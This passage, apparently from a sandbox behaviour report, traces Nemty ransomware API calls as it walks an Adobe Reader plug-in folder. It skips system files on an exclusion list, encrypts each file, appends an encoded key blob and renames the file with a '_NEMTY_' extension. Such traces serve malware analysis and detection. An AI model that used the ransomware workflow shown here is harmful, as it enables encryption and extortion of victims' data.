10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo._nemty_kgobjgd_")) returned 1 [0191.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.477] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.SVE", cAlternateFileName="QUICKT~1.SVE")) returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2=".") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="..") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="...") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="windows") returned -1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="$RECYCLE.BIN") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="rsa") returned -1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="NTDETECT.COM") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="ntldr") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="MSDOS.SYS") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="IO.SYS") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="boot.ini") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="boot.ini") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="ntuser.dat") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="desktop.ini") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="CONFIG.SYS") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="RECYCLER") returned -1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="BOOTSECT.BAK") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="bootmgr") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="programdata") returned 1 [0191.477] lstrcmpiW (lpString1="QuickTime.SVE", lpString2="appdata") returned 1 [0191.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SVE", lpUsedDefaultChar=0x0) returned 13 [0191.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SVE", lpUsedDefaultChar=0x0) returned 13 [0191.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SVE", lpUsedDefaultChar=0x0) returned 13 [0191.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SVE", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SVE", lpUsedDefaultChar=0x0) returned 13 [0191.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.478] Sleep (dwMilliseconds=0x5) [0191.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c852d0, dwHighDateTime=0x1d561e8)) [0191.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c852d0, dwHighDateTime=0x1d561e8)) [0191.490] GetLastError () returned 0x0 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.490] GetLastError () returned 0x0 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.490] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.490] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="CZlVofK35K/EZjw0H4J2vJXzWUCCbs363PTAeW6gy0aaRDmR/zIOw9lrHyPA1CUs\r\ns6hu6uH4RHHTKEmgzdKaauX0U928Bvsnf9A7LN6I9r1mnhAIKOCDraPrwSydUqpd\r\nGedvISsUMYNLu+20lQqHx7CAosL62rG79Dl3hFjH+a7mwDnlgtnlKg5KlWoMirJ2\r\nCNkBLeHpfg0g3oG490jwCSNvwzEMzA+2D6s4hM+k2nakvAACkTimx23W0SAsRWCJ\r\nskDKKeboFjUj0L5XQSgE5KLdA1RoW5ueeTnI2z1Riorvf+6eYRqx3S2sFI+XIbpK\r\nimm9Y1MxCdithxGJ9AfNog==\r\n", pcchString=0x653e29c) returned 1 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.491] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.491] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.491] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.492] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.492] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.492] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.493] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.493] CloseHandle (hObject=0x2f0) returned 1 [0191.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.493] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.sve._nemty_kgobjgd_")) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.494] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.CAT", cAlternateFileName="WINDOW~1.CAT")) returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2=".") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="..") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="...") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="windows") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="$RECYCLE.BIN") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="rsa") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="NTDETECT.COM") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="ntldr") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="MSDOS.SYS") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="IO.SYS") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="boot.ini") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="boot.ini") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="ntuser.dat") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="desktop.ini") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="CONFIG.SYS") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="RECYCLER") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="BOOTSECT.BAK") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="bootmgr") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="programdata") returned 1 [0191.494] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2="appdata") returned 1 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CAT", lpUsedDefaultChar=0x0) returned 16 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CAT", lpUsedDefaultChar=0x0) returned 16 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CAT", lpUsedDefaultChar=0x0) returned 16 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CAT", lpUsedDefaultChar=0x0) returned 16 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401a8 [0191.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340270 [0191.495] Sleep (dwMilliseconds=0x5) [0191.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25cab430, dwHighDateTime=0x1d561e8)) [0191.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25cab430, dwHighDateTime=0x1d561e8)) [0191.503] GetLastError () returned 0x0 [0191.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.503] GetLastError () returned 0x0 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.504] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.504] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.504] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340338 [0191.504] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340338, pcchString=0x653e29c | out: pszString="WXLa5L4XtmeGF4XZMtxFVru66yCVzB11bypzO+um3V1BspTow9VWLhwX9LngsstD\r\nxN8/xqfgxkD6yY/Vz/lSc8QbG+uM4zgnSFmrauVTQek72msTuNo00+Hszwl9GysS\r\nBzzjX/4EnuL6z68DVBeojOcY3KM7FR6uwfGMl1B8ooGv/DAkqwFEmdB1bKH967Lh\r\nPeSBFhmGW0CGQPZmTlleGnekNqon8zE+XO4NGYsomHvosRAHTfeWjrLTw7SsCJPr\r\n5CLL13TRg4Kjdq5/MiiP20GEW1ZR0q1qB/M/jpcGCO8u6xJ4xoN/qaM/n34ICJpG\r\nBTZVN1gvzsuzVn02vAOufA==\r\n", pcchString=0x653e29c) returned 1 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0191.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340338 [0191.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.504] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.505] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.505] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.506] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.506] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: 